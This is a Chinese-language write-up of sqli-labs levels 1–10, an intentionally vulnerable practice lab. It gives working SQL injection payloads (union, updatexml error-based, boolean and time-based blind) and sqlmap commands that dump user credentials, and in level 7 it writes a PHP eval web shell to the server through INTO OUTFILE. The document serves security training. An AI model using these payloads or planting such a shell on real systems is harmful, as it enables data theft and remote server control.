第一关

可以直接使用union注入

原url:(http://192.168.122.229/sqli-labs/Less-1/?id=1)

查看是否存在sql注入

?id=1'

查看几个位置

?id=1' order by 4 --+

试探注入点:

?id=-1' union select 1,2,3 --+

拿当前数据库

?id=-1' union select 1,2,database() --+

拿所有数据库

?id=-1' union select 1,2,group_concat(schema_name) from information_schema.schemata --+

查看表

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where  table_schema='security' limit 0,1 --+

拿字段

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where  table_schema='security' and table_name='users' limit 0,1 --+

拿到一条具体数据

?id=-1' union select 1,2,concat(username,":",password) from users limit 0,1 --+

拿所有数据

?id=-1' union select null,group_concat(username),group_concat(password) from users --+

第二关

只需要把上一关的?id=-1'改成?id=-1 ,去掉后面的单引号,即可通用,这里跳过

第三关

第三关的闭合方式是单引号和括号闭合,把?id=1'改成?id=-1') ,即可继续通用

第四关

这里我们输入?id=4'使用单引号发现页面没有什么变化

sqli-lab-less-4_1.png

然后输入?id=4"使用单引号发现页面开始报错,说明使用的是双引号和括号的闭合方式

sqli-lab-less4_2.png

所以和上面的操作步骤一样,把?id=-1') 改成 ?id=-1") 即可继续使用,最终的payload为

?id=-1") union select null,group_concat(username),group_concat(password) from users --+

第五关

第五关用的是报错注入,union注入就没法使用了

这里我们正常传入?id=4,发现他没有显示用户名密码

sqli-lab-less-5-1.png

输入?id=4'发现有报错信息,所以我们就在后面加上报错查询的公式就可以( 这里的0x7e就是~的16进制)

' AND updatexml(1, concat(0x7e, (【查询语句】), 0x7e), 1)--+  

爆数据库

?id=1' AND updatexml(1, concat(0x7e, (select database()), 0x7e), 1)--+
sqli-lab-less-5_2.png

爆所有数据库

' AND updatexml(1, concat(0x7e, (select group_concat(schema_name)from information_schema.schemata), 0x7e), 1)--+
sqli-lab-less-3.png

发现无法完整显示,那我们就可以分段获取,这里用substr()做演示

-- 第1段:从第1位开始,取31位
?id=1' AND updatexml(1, concat(0x7e, substr((SELECT group_concat(schema_name) FROM information_schema.schemata), 1, 31), 0x7e), 1)--+
-- 显示:~emails,referers,uagents,use~  (1-31位)

-- 第2段:从第32位开始,取31位
?id=1' AND updatexml(1, concat(0x7e, substr((SELECT group_concat(schema_name) FROM information_schema.schemata ), 32, 31), 0x7e), 1)--+
-- 显示:~rs,users,admin,logs,confi~  (32-62位)

-- 第3段:从第63位开始,取31位
?id=1' AND updatexml(1, concat(0x7e, substr((SELECT group_concat(schema_name) FROM information_schema.schemata ), 63, 31), 0x7e), 1)--+

爆数据表

?id=1' AND updatexml(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where  table_schema='security'), 0x7e),1)--+
sqli-lab-less-5_4.png

爆字段

?id=1' AND updatexml(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'), 0x7e),1)--+

爆数据

?id=1' AND updatexml(1, concat(0x7e, (select group_concat(concat(username, ':', password)) from users), 0x7e), 1)--+
sqli-lab-less-5-5.png

第六关

这一关还是报错注入,传入?id=1'发现还是没报错,改成双引号"发现成功报错,接下来和第5关步骤一样,只需要把?id=1'改成?id=1"即可

最后的payload

?id=1" AND updatexml(1, concat(0x7e, (select group_concat(concat(username, ':', password)) from users), 0x7e), 1)--+

第七关

第七关要求我们使用文件读写,不只是拿到数据那么简单,还要植入木马,我们要先确保mysql的secure_file_priv="" 参数为空

使用?id=1')) AND (('1'))=(('1 探测闭合方式,发现可以正常显示,说明是'))的闭合方式,

使用?id=1')) AND (SELECT COUNT(*) FROM mysql.user)>0--+发现页面可以正常显示,

这里我们先获取绝对路径,使用sqlmap盲注

sqli-lab-less7-2.png

然后植入木马

?id=-1')) UNION SELECT 1,"<?php @eval($_POST['cmd']);?>",3 INTO OUTFILE "C:/phpstudy/PHPTutorial/WWW/sqli-labs/Less-7/shell.php"--+

访问http://target/sqli-labs/Less-7/shell.php说明成功,然后使用中国蚁剑连接

sqli-lab-less7-3.png

说明木马植入成功

当然如果只是拿数据,这一关的报错信息都是一个样子,不显示具体信息,这里就使用布尔盲注获取数据,用sqlmap,只需要在第八关的payload加上--prefix="'))" ,接下来按照第八关步骤即可

sqli-lab-less7-1.png

第八关

这一关要是使用布尔盲注,只要条件正确才会有显示,输入?id=1' and 1=1--+ 页面正常显示

sqli-lab-less-8-1.png

但是输入错误的信息?id=1' and 1=2--+就会没有显示

sqli-lab-less-8-2.png

所以我们就可以猜出数据库名的长度?id=1' and length(database())=8--+(这个8可以换,从1一直试,知道可以正常显示),然后再利用ASCII码判断出具体名字

-- database()后面的1代表第一个字符,115是s的ASCII编码
?id=1' and ascii(mid(database(),1,1))=115--+
-- 第二个字符,101对应的是e,以此类推
?id=1' and ascii(mid(database(),2,1))=101--+

但是这个方法太费时间来,效率太低,我们可以使用sqlmap自动注入,-u后面的是目标url替换成真实的

爆所有数据库

python sqlmap.py -u "http://target/sqli-labs/Less-8/?id=1" --technique=B --batch
sqli-lab-less-8-3.png

只获取当前数据库

python sqlmap.py -u "http://target/sqli-labs/Less-8/?id=1" --current-db --batch  
sqli-lab-less8-4.png

爆数据表

python sqlmap.py -u "http://target/sqli-labs/Less-8/?id=1" --technique=B -D security --tables --batch
sqli-lab-less-8-5.png

获取字段名

python sqlmap.py -u "http://target/sqli-labs/Less-8/?id=1" --technique=B -D security -T users --columns --batch
sqli-lab-less8-6.png

获取最终数据

python sqlmap.py -u "http://target/sqli-labs/Less-8/?id=1" --technique=B -D security -T users -C username,password --dump --batch
sqli-lab-less8-7.png

第九关

这一关用的是延时注入,我们可以发现无论我们输入的是啥,页面都没有变化,所以使用时间盲注

?id=1' AND IF(1=1, SLEEP(5), 0)--+    → 延迟5秒(真)
?id=1' AND IF(1=2, SLEEP(5), 0)--+    → 立即返回(假)

条件为真,f12,点击网络发现确实延时了

sqli-lab-less9-1.png

判断数据库的长度

IF(条件, 真值, 假值)
?id=1' and IF(length(database())=8, SLEEP(5), 0)
       ↑                             ↑        ↑
     条件判断                 条件为真执行     条件为假执行

但和布尔盲注一样,效率太低了,这里还是使用sqlmap

获取所有数据库

python sqlmap.py -u "http://target/sqli-labs/Less-9/?id=1" --technique=T --dbs --batch 

只获取当前数据库

python sqlmap.py -u "http://target/sqli-labs/Less-9/?id=1" --technique=T --current-db --batch  

获取当前数据库的数据表

python sqlmap.py -u "http://target/sqli-labs/Less-9/?id=1" --technique=T -D security --tables --batch

获取当前数据表的字段名

python sqlmap.py -u "http://target/sqli-labs/Less-9/?id=1" --technique=T -D security -T users --columns --batch

获取所有数据

python sqlmap.py -u "http://target/sqli-labs/Less-9/?id=1" --technique=T -D security -T users -C username,password --dump --batch

第十关

这一关使用的也是延时注入,只不过闭合方式由单引号 ' 变成了双引号 "

判断是否存在注入:?id=1" AND IF(1=2, SLEEP(5), 0)--+

猜数据库长度:?id=1" and IF(length(database())=8, SLEEP(5), 0)

猜数据库的第一个字符: ?id=1" and if(ascii(mid(database(),1,1))=115,sleep(5),1)--+

第二个字符 ?id=1" and if(ascii(mid(database(),2,1))=101,sleep(5),1)--+

仍然可以使用sqlmap,这里有一个坑,需要给sqlmap指定闭合方式,这里用--prefix 参数做演示

sqlmap -u "http://target/sqli-labs/Less-10/?id=1" --prefix='"' --technique=T --current-db --batch

不然就会报错

sqli-lab-less10-1.png

接下来只需要在第九关的sqlmap命令后加上 --prefix='"' 就可以